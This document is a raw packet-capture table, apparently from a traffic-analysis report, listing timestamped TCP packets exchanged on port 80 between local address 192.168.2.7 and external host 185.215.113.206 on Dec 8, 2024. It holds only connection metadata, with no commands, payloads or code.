Dec 8, 2024 00:48:43.075798035 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.076524973 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.076564074 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.076644897 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.076680899 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.077299118 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.077343941 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.077423096 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.077460051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.078110933 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.078150988 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.078218937 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.078257084 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.079024076 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.079062939 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.079207897 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.079260111 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.079895020 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.079948902 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.079988003 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.080022097 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.080516100 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.080583096 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.080621958 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.080657005 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.081346989 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.081393957 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.081456900 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.081492901 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.082144976 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.082195044 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.082247972 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.082283974 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.082952023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.082993984 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.083036900 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.083076954 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.083758116 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.083853960 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.083900928 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.084579945 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.084624052 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.084687948 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.084724903 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.085386038 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.085433006 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.085484028 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.085516930 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.086219072 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.086267948 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.086333036 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.086369038 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.087019920 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.087059021 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.087081909 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.087115049 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.087919950 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.087981939 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.088018894 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.088628054 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.088665962 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.088732004 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.088768005 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.089445114 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.089483976 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.089557886 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.089595079 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.090272903 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.090308905 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.090358973 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.090398073 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.091089964 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.091131926 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.091198921 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.091232061 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.091875076 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.091995955 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.092034101 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.092708111 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.092746973 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.092828989 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.092866898 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.093528986 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.093570948 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.094003916 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.094046116 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.094296932 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.094336987 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.094402075 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.094438076 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.095133066 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.095176935 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.095225096 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.095262051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.095933914 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.096013069 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.096055984 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.096777916 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.096839905 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.096868992 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.096908092 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.097583055 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.097631931 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.097724915 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.097779989 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.098373890 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.098419905 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.098455906 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.098496914 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.099181890 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.099227905 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.099288940 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.100028038 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.100073099 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.100125074 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.100162029 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.100819111 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.100867033 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.101119995 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.101119995 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.160171986 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.160212994 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.160252094 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.160300016 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.160420895 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.160470009 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.161525965 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.161566973 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.161674023 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.161712885 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.161904097 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.161940098 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.162008047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.162045956 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.162096024 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.162134886 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.162832975 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.162878036 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.162944078 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.162981987 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.163393974 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.163434029 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.163487911 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.163528919 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.164189100 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.164233923 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.164285898 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.164331913 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.165050983 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.165091991 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.165184975 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.165225983 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.165797949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.165837049 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.165913105 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.165954113 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.166632891 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.166671038 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.166748047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.166785002 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.167423010 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.167463064 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.167510986 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.167548895 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.168242931 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.168282032 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.168353081 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.168394089 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.169034958 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.169074059 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.169192076 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.169229984 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.169886112 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.169925928 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.169972897 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.170012951 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.170600891 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.170639038 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.170671940 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.170712948 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.265813112 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.265842915 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.265933990 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.284723997 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.284794092 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.284826994 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.284873009 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.285068989 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.285124063 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.294895887 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.294964075 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.295042038 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295057058 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295082092 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.295109034 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.295295000 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295306921 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295325994 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295331001 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.295341969 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295361042 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.295372963 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.295380116 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.295793056 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295806885 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295818090 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295829058 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295841932 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.295841932 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295852900 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.295857906 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.295893908 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.296678066 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.296693087 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.296704054 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.296717882 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.296719074 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.296730042 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.296741962 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.296753883 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.296755075 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.296780109 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.296801090 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.297523975 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.297538042 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.297553062 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.297563076 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.297574043 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.297586918 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.297590971 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.297601938 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.297621965 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.297635078 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.371373892 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.371417046 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.371459007 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.371459007 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.371639967 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.371682882 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.409259081 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.409295082 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.409322023 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.409373999 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.409522057 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.409567118 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.410216093 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.410259008 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.410355091 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.410398960 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.410562038 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.410598993 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.410666943 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.410706043 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.410753012 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.410793066 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.411519051 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.411566019 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.411595106 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.411698103 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.412293911 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.412333965 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.412400007 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.412437916 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.413111925 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.413151979 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.413247108 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.413290024 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.413947105 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.413988113 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.414047956 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.414089918 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.414757967 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.414798975 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.414876938 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.414915085 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.415543079 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.415618896 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.415661097 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.415699959 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.416392088 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.416439056 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.416475058 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.416515112 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.417421103 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.417469025 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.417632103 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.417675018 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.418257952 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.418308973 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.418333054 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.418425083 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.418935061 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.418998957 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.419028044 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.419070005 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.419595957 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.419637918 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.476660013 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.476672888 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.476730108 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.495745897 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.495794058 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.495893955 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.495934010 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.496083975 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.496141911 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.533567905 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.533622026 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.533663034 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.533710003 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.533930063 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.533988953 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.534459114 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.534507990 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.534554005 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.534600019 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.534818888 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.534863949 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.534949064 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.534992933 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.535048962 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.535087109 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.535737991 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.535784006 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.535866022 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.535909891 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.535942078 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.535984039 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.536717892 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.536770105 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.536806107 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.536843061 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.537486076 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.537532091 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.537602901 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.537647009 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.538289070 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.538331985 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:43.538347006 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:43.538382053 CET	49784	80	192.168.2.7	185.215.113.206
